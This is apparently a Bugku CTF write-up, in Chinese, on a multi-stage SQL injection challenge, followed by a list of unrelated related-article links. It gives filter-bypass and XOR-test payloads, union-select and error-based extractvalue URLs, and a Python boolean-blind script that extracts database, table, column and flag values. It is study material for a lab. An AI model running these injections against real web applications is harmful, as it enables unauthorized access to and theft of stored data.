网址:http://123.206.87.240:9004/1ndex.php?id=1

前言:bugku中一涉及多次注入的题

1、异或注入(判断字符是否被过滤)

0X00   很明显 注入点在id上

参数id只有5个,等于6的时候显示Error

测试1 id=1' or 1=1#

返回错误,猜测可能有字符被过滤

测试2 id=1' oorr 1=1--+

返回正常结果,通过双写绕过

0X01:异或注入

那么在这种情况下该怎么检测哪些字符被过滤??

异或注入:

id=1'^(length('被测试字符')=0)--+

例如:id=1'^(length('select')=0)--+      发现返回错误

因为select被过滤,那么length('')就等于0,(length('')=0)此等式成立,返回值为1,再和1异或结果为0,所以页面返回错误

检测出select、and 、or被过滤

注意:information中有一个or

0X02:查数据库、表、信息

列数:http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=2%20ununionion%20seselectlect%201,2%23

显示2

数据表:http://123.206.87.240:9004/1ndex.php?id=1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

0X03:下一关

这一关我是用bool盲注,根据返回页面中有没有hello,判断对错

直接附上代码:

#coding=utf-8
import requests
#url='http://123.206.87.240:9004/Once_More.php?id=1'
#temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~'
#(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),{0},1)={1}%23' #基于报错的注入,正确Hello 错误返回nobady
def getdblen(): #数据库名长度
for i in range(1,30):
url='http://123.206.87.240:9004/Once_More.php?id=1%27and%20length(database())='+str(i)+'%23'
s = requests.get(url)
if 'Hello' in s.text: #如果 返回页面中有'Hello',说明payload正确
print("table len:",i)
break def getdb():
db_name=''
data = "abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~"
for i in range(1,10):
for mes in data:
url="http://123.206.87.240:9004/Once_More.php?id=1%27and%20mid(database(),"+str(i)+",1)=%27"+mes+"%27%23" #利用mid函数选取子字符串
s = requests.get(url)
if 'Hello' in s.text:
db_name+=mes
print(db_name)
break
print("table name is:",db_name) def gettable():
table_name=''
dbname = 'web1002-2'
data = "abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~"
url="http://123.206.87.240:9004/Once_More.php"
'''
for i in range(1,50): #数据表长度
url="http://123.206.87.240:9004/Once_More.php?id=1%27and%20length(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27"+dbname+"%27)="+str(i)+"%23"
s = requests.get(url)
if 'Hello' in s.text:
print("table len:",i)
break
'''
for i in range(1,20):
for n in range(1,30):
for mes in data:
#url="http://123.206.87.240:9004/Once_More.php?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20"+str()+"),"+str(n)+",1))=%27"+mes+"%27%23"
payload = {'id':"1' and mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'#"%(i,n,mes)}
s = requests.get(url,params=payload)
if 'Hello' in s.text:
table_name+=mes
print(table_name)
break
print("table name :",table_name)
#limit%20'+str(x)+',1),'+str(y)+',1))=ascii(\''+str(i)+'\')%23' #payload = {'id':"1' and mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'#"%(i,j,k)}
def getcolumn():
column_name=''
data = "abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~"
url="http://123.206.87.240:9004/Once_More.php"
for i in range(0,10):
for n in range(1,20):
for mes in data:
payload={'id':"1' and mid((select column_name from information_schema.columns where table_name='flag2' limit %s,1),%s,1)='%s'#"%(i,n,mes)}
s = requests.get(url,params=payload)
if 'Hello' in s.text:
column_name+=mes
print(column_name)
break
print("column name:",column_name) def getflag():
flag=''
data = "abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~"
url="http://123.206.87.240:9004/Once_More.php"
for n in range(1,35):
for mes in data:
payload={'id':"1' and mid((select flag2 from flag2),%s,1)='%s'#"%(n,mes)}
s = requests.get(url,params=payload)
if 'Hello' in s.text:
flag += mes
print(flag)
break
print("flag :",flag) if __name__=='__main__':
#gettablelen()
#getdb()
#gettable()
#getcolumn()
getflag()

  

还有一种回显的方法

爆数据库名:

http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,database(),0x7e)))--+
其他payload以此类推

0Xff:总结

这题貌似还有第三关,懒不做了,这次主要是学习了异或注入查哪些字符被过滤,话有一种方法使用burpsuite查过滤规则,不晓得这里能不能用。

Bugku 多次的更多相关文章

  1. bugku login2 writeup 不使用vps的方法

    0x00前言 这个题是sql注入与命令执行相结合的一个题,思路有两个: 一.:sql注入登录web系统,命令执行反弹公网IP监听端口(需要vps),此种方法详见链接:http://www.bugku. ...

  2. bugku 密码学一些题的wp

    ---恢复内容开始--- 1.滴答滴 摩斯密码,http://tool.bugku.com/mosi/ 2.聪明的小羊 从提示猜是栅栏密码,http://tool.bugku.com/jiemi/ 3 ...

  3. 于bugku中游荡意外得到关于CBC翻转攻击思路

    个人简介:渣渣一枚,萌新一个,会划水,会喊六六今天在bugku遇到关于CBC翻转攻击的题目,总结了一下关于CBC翻转攻击的原理,以及关于这道题目的解题思路个人博客:https://www.cnblog ...

  4. http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)

      这一道题目,幸好俺有基础知识护体,不然还真干不掉.     首先,登录看题目,取消隐藏代码的注释.可知可输入三个参数txt.file和password并进行逻辑判断:应该让txt==‘welcom ...

  5. http://www.bugku.com:Bugku——备份是个好习惯(http://120.24.86.145:8002/web16/)

      看了bugku的这道题,陌生又熟悉.     题目首先说[备份是个好习惯],访问网站只有一串字符,,,,,emmmmm,这句话表明人家经常做备份,所以咯,肯定在网站哪里备份有网页信息.嘻嘻   1 ...

  6. http://www.bugku.com:Bugku——jsfuckWEB5(http://120.24.86.145:8002/web5/index.php)

      今天又做了bugku上面的一道题.使用到了jsfuck,它是什么捏?   它是Javascript原子化的一种简易表达方式,用[]()!+就可以表示所有的Javascript字符,不依赖于浏览器. ...

  7. http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)

    Bugku——SQL注入1(http://103.238.227.13:10087/) 过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码.经搜索得该函数会去掉所有的html标签,所 ...

  8. Bugku——Flag在index里(http://120.24.86.145:8005/post/)

    Bugku——Flag在index里(http://120.24.86.145:8005/post/) 进入题目发现有一个file参数,查看源码,发现该参数可以包含php文件,并且题目提示,flag在 ...

  9. BugKu 2B+基于python的opencv的安装-------CTF 盲水印的套路

    BugKu杂项-2B 下载图片后,binwalk下跑一跑,发现有个zip,分离. 值得一提的是,这个zip是伪加密的. 但是你在分离的时候,伪加密的图片也给你分离出来了.这两个图片2B和B2肉眼看起来 ...

  10. 记bugku的——“welcome to bugkuctf”

    今天终于拾起来ctf的比赛了,开始了练习之旅.今天写一道bugku上的题目wp,属于利用php源码泄漏的题目吧,我觉得不是很简单...所以把自己的思路放上来. 题目源头:http://120.24.8 ...

随机推荐

  1. sqlalchemy(2)

    orm介绍 orm英文全称object relational mapping,就是对象映射关系程序,简单来说我们类似python这种面向对象的程序来说一切皆对象,但是我们使用的数据库却都是关系型的,为 ...

  2. VC 静态库与动态库(一)介绍

    定义: 静态库与动态库都属于库,库从本质上来说就是种代码重用的方式. 把需要重复使用的公共代码抽离出来,生成库文件,外部程序只需包含库文件,调用相关接口即可 静态库与动态库区别: 静态库:需要库的.h ...

  3. 逆向工程文件example完美结合使用PageHelper分页插件及分页不成功原因

    原生的mybatis需要手写sql语句,项目数据库表多了之后,可以让你写sql语句写到手软,于是mybatis官方提供了mybatis-generator:mybatis逆向工程代码生成工具,用于简化 ...

  4. 八种排序算法原理及Java实现

    原文链接:http://ju.outofmemory.cn/entry/372908

  5. Python DataFrame 按条件筛选数据

    原始数据如下. 比如我想查看id等于11396的数据. pdata1[pdata1['id']==11396] 查看时间time小于25320的数据. pdata1[pdata1['time']< ...

  6. flutter环境配置window10

    第一步,配置git环境,这个作为前端的都是会的,如果你不会,去问度娘去 第二步,配置java的开发环境,这里建议下载jdk为1.8版本的,我最初使用的是如下图的jdk版本,后面和flutter版本不一 ...

  7. VC修改本机IP地址

    http://www.vcchar.com/thread-1527-1-1.html 设置IP地址只需要更改注册表中关于适配器的相应设置,但更改后需要重新启动系统才能生效,而AddIPAddress函 ...

  8. Office 2016正式版/2019预览版 使用注意

    改写状态已经被隐藏 右击Word状态栏可以看到改写是否打开

  9. Java后端传Long类型给前端导致的精度丢失

    问题:实体属性是Long类型,在后端值本来是1119102511023023410,但是返回给前端的却是1119102511023023400 解决方案:添加序列化注解 import com.fast ...

  10. Canal订阅binlog变更并结合kafka实现消息缓冲

    阿里Canal项目请先了解:canal 考虑可能binlog大批量变更,如果直接通过Canal订阅binlog变动,会造成CanalClient会瞬间爆掉.为了解决这个问题,我们可以引入kafka做一 ...